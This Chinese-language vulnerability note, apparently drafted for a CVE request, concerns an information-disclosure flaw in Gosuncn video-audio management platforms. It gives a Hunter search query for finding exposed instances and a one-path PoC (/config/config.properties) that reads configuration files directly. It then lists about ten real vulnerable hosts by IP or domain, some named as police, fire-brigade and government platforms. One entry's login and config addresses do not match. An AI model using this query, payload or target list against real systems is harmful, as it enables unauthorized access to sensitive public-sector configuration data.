需申请CVE

---

厂商信息

高新兴科技集团股份有限公司

搜索语法

Hunter

web.body="技术支持：TEL 400 6578 900"

360quake

漏洞复现

Poc:

/config/config.properties

Url+拼接poc直接访问

新疆维吾尔自治区文化市场综合执法监管平台

1、https://jg.wlt.xinjiang.gov.cn:8201/main-login.html

https://jg.wlt.xinjiang.gov.cn:8201/config/config.properties

云南消防总队视音频一体化管理平台

2、http://42.243.73.34:8201/main-login.html

http://39.152.38.32:8201/config/config.properties

洛阳市公安局视音频一体化管理平台

3、http://117.158.179.29:8201/main-login.html

http://117.158.179.29:8201/config/config.properties

4、http://219.138.228.92:8201/config/config.properties

5、http://39.152.38.32:8201/config/config.properties

6、https://180.167.38.94:8201/main-login.html

7、http://cnliowuotxsgvbtg.zzrj.top:8201/main-login.html

8、http://zipcbouf.zzrj.top:8201/main-login.html

9、http://124.239.217.138:8201/main-login.html

10、http://171.15.162.102:8201//main-login.html